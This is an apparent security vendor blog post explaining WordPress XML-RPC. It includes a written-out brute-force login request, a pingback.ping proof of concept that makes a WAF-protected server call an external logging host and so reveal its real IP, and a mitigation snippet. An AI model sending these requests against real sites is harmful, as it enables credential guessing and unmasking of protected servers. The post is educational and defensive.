IP Disclosure of Servers Behind WAFs Using WordPress XML-RPC
XML-RPC protocol was introduced to ease the usability of cross-platform applications, but the new attack discovery shows that it allows IP Disclosure attacks. This blog post explains how the XML-RPC Protocol works and how it is vulnerable to IP Disclosure attacks on Wordpress. It shows how this attack is possible and how to prevent it.
Your Information will be kept private.
Stay up to date on web security trends
Your Information will be kept private.
![IP Disclosure of Servers Behind WAFs Using WordPress XML-RPC](https://cdn.invicti.com/app/uploads/2022/06/28121242/xml-rpc-protocol-ip-disclosure-attacks-768x403.png)
By the end of the 90s, communication between distributed systems had become a crucial necessity. One of the solutions implemented since then is the XML-RPC (Remote Procedure Call) protocol. This protocol allows remote procedure calls through data transferred in the XML format. These calls enable different platforms to communicate with websites. But, it also enabled malicious hackers to send arbitrary XML data that forced websites to execute certain code or exfiltrate data. This article introduces the working order of the XML-RPC protocol and shows that it is possible to obtain the real IP addresses of servers behind a reverse proxy such as Cloudflare, using the XML-RPC protocol on WordPress.
There are different types that can be used besides the scalar types listed in the table.
How the XML-RPC Protocol Works
The XML-RPC protocol uses HTTP as a transfer channel and triggers procedure calls within systems using data in XML format. The result of the calls would then be displayed in the HTTP response.XML-RPC Request
In its simplest form, an XML-RPC request is an HTTP POST message that holds XML data in the body. If the client is authorized to send the XML data, it is executed and the result is sent as an HTTP response in XML format. Here’s an example of an XML-RPC request:POST /RPC2 HTTP/1.1
User-Agent: XXX
Host: example.com
Content-Type: text/xml
Content-length: 181
<?xml version="1.0"?>
<methodCall>
  <methodName>examples.getStateName</methodName>
  <params>
     <param>
        <value><i4>41</i4></value>
        </param>
     </params>
  </methodCall>
The HTTP request above includes the following components in the method call:
methodName
, the procedure that’s called- its parameters that are required for the call to work under the
params node
Host
header is required in HTTP messages. However since this is an XML-RPC message, the User-Agent
header is required as well. Besides those two headers, the Content-Type
header must be set to application/xml
and the Content-Length
should have an appropriate value.
The number of parameters sent in the XML-RPC request can be as many as the procedure requires to work. These values must be listed in individual param
subnodes under the params
node. Each parameter has to be passed as value
but you don’t have to set a name, since the order of the parameters matters, not the name. Although the i4
seems to be the parameter name in the code snippet below, it is actually the parameter's type.
  <params>
     <param>
        <value><i4>41</i4></value>
     </param>
     <param>
        <value><i4>42</i4></value>
     </param>
     <param>
        <value><i4>43</i4></value>
     </param>
  </params>
Scalar Data Types
Scalar data types are single value data types such as integers, booleans, strings, or doubles. They hold a single data item. There might be different parameter value types. In the absence of a type declaration, the default type string is set for each value. Here are some of the tags.Tag | Type | Example |
<i4> or <int> | 4 byte integer | -12 |
<boolean> | Boolean (True:1, False:0) | 0 or 1 |
<string> | String | Hello World |
<double> | Double | -12.214 |
<dateTime.iso8601> | Date / Time | 19980717T14:08:55 |
<base64> | Base64 encoded string | TmV0c3BhcmtlciBTZWN1cml0eSBTY2FubmVy |
<struct> Type
Thestruct
data type can hold sub-nodes named 'member'. Each member can have their own names and subnodes. The struct
type can recursively hold a different scalar type, an array type, or a struct
type in the value
area.
<struct>
  <member>
     <name>lowerBound</name>
     <value><i4>18</i4></value>
  </member>
  <member>
     <name>upperBound</name>
     <value><i4>139</i4></value>
  </member>
</struct>
<array> Type
Thearray
type has a single node called data
. This node can include as many value
nodes as necessary. It can also be recursive like the struct
type.
<array>
  <data>
     <value><i4>12</i4></value>
     <value><string>Egypt</string></value>
     <value><boolean>0</boolean></value>
     <value><i4>-31</i4></value>
  </data>
</array>
XML-RPC Responses
If there are no errors in the system, all XML-RPC responses must return with an HTTP status code of 200. The response should also have theContent-Type
header set to application/xml
and the Content-Length
must match the size of the response.
HTTP/1.1 200 OK
Connection: close
Content-Length: 158
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?>
<methodResponse>
  <params>
     <param>
        <value><string>South Dakota</string></value>
     </param>
  </params>
</methodResponse>
The body of the HTTP response must have a single XML message including a main node named <methodResponse>
. The details of the response should be under this node. The XML-RPC response may also have a sub-node in struct type called fault. This sub-node may include two elements: an integer faultCode and a string faultString.
HTTP/1.1 200 OK
Connection: close
Content-Length: 426
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?>
<methodResponse>
  <fault>
     <value>
        <struct>
           <member>
              <name>faultCode</name>
              <value><int>4</int></value>
              </member>
           <member>
              <name>faultString</name>
              <value><string>Too many parameters.</string></value>
              </member>
           </struct>
        </value>
     </fault>
  </methodResponse>
The Deployment of XML-RPC Protocol on WordPress
We had stated in the introduction that the main goal of XML-RPC is to allow different platforms and distributed systems to conduct data transfer, and trigger a set of events on one another. From WordPress 3.5 onwards the XML-RPC protocol will be deployed and the function calls in the WordPress API will be possible. Using XML-RPC, WordPress developers allow users to publish a blog post, view statistics, delete posts, and confirm comments on their websites from different platforms, such as mobile phones. Assuming your WordPress site is loaded on http://example.com/wordpress/, you can access the XML-RPC endpoint over www.example.com/wordpress/xmlrpc.php. Here’s what you’ll get when you visit that page:The XML-RPC Functions Available on WordPress
We can list all the XML-RPC calls supported by WordPress with the HTTP message below:<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
An Example of the Brute-Force Attack
Here’s the request made in a brute-force attack using XML-RPC protocol on WordPress:POST /xmlrpc.php HTTP/1.1
User-Agent: Fiddler
Host: www.example.com
Content-Length: 164
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Here’s the response:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 May 2019 13:30:17 GMT
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
Expires: Sun, 02 Jun 2019 13:30:17 GMT
Content-Length: 403
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
 <fault>
<value>
 <struct>
   <member>
     <name>faultCode</name>
     <value><int>403</int></value>
   </member>
   <member>
     <name>faultString</name>
     <value><string>Incorrect username or password.</string></value>
   </member>
 </struct>
</value>
 </fault>
</methodResponse>
The response above sends out the HTTP status code 403 and a message saying "Incorrect username or password" in case the username and password are indeed incorrect. Generally, in a regular login page, if the user repeatedly sends incorrect login credentials, the user might get banned or locked out from their account after a certain limit. However, the rate limit can be bypassed using XML-RPC. Let’s move on to the IP disclosure attack.
IP Disclosure or Cross-Site Port Attack (XSPA)
We’re going to use a feature on WordPress called pingback to retrieve the real IP address of the website. The pingback feature allows a type of comment to be generated whenever you link to another WordPress.com post on your blog post. This pingback appears in the linked post’s comment section just as any other comment would, allowing their rating to increase in the search engine results. Initially, we have to control whether there’s the pingback.ping method among the XML-RPC methods supported by WordPress.Proof of Concept of the IP Disclosure Attack
First and foremost, let's take a look at the IP address of the target server using the ping feature in the Command Line Interface (CLI).<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://source/url/here</string></value>
       </param>
       <param>
           <value><string>http://target/url/here</string></value>
       </param>
   </params>
</methodCall>
In the template above, the source URL belongs to the article that has a link to the blog post. The target URL is the linked blog post. The system visits the source and confirms that the target URL is indeed linked within the source.
Using the template above, here’s the request we’re making:
After we make the request, we can observe that the response sent to the HTTP sniffer holds the real IP of the server:<methodCall> <methodName>pingback.ping</methodName> <params> Â Â Â <param> Â Â Â Â Â Â <value><string>http://pingb.in/p/ca373b33e2f3f5e43f9326d09c15</string></value> Â Â Â
</param> Â Â Â
<param> Â Â Â Â Â Â <value><string>http://www.example.com.com/trump-mayin-istifa-kararini-degerlendirdi/</string></value> Â Â Â </param> </params> </methodCall>
How to Prevent the IP Disclosure Attack
Almost all of the studies conducted under this topic suggest turning off the XML-RPC service entirely as a prevention mechanism. However, doing so might cause problems in the way the system works, such as breaking the pingback mechanism, communication between dedicated applications and the WordPress system. Instead, you can disable the pingback.ping method using the code block below. Add the code snippet below to function.php page.add_filter( 'xmlrpc_methods', function( $methods ) {
   unset( $methods['pingback.ping'] );
   return $methods;
} );
Besides the prevention mechanism above, the XML-RPC attacks can also be prevented by setting whitelisted traffic rules to limit the outgoing traffic.
Although the XML-RPC protocol was introduced to ease the usability of cross-platform applications, there are many attacks that can be done with it. Applying the prevention methods above can reduce the risk and make the attackers’ motives less feasible. It’s important to maintain security in every utility and feature of web applications.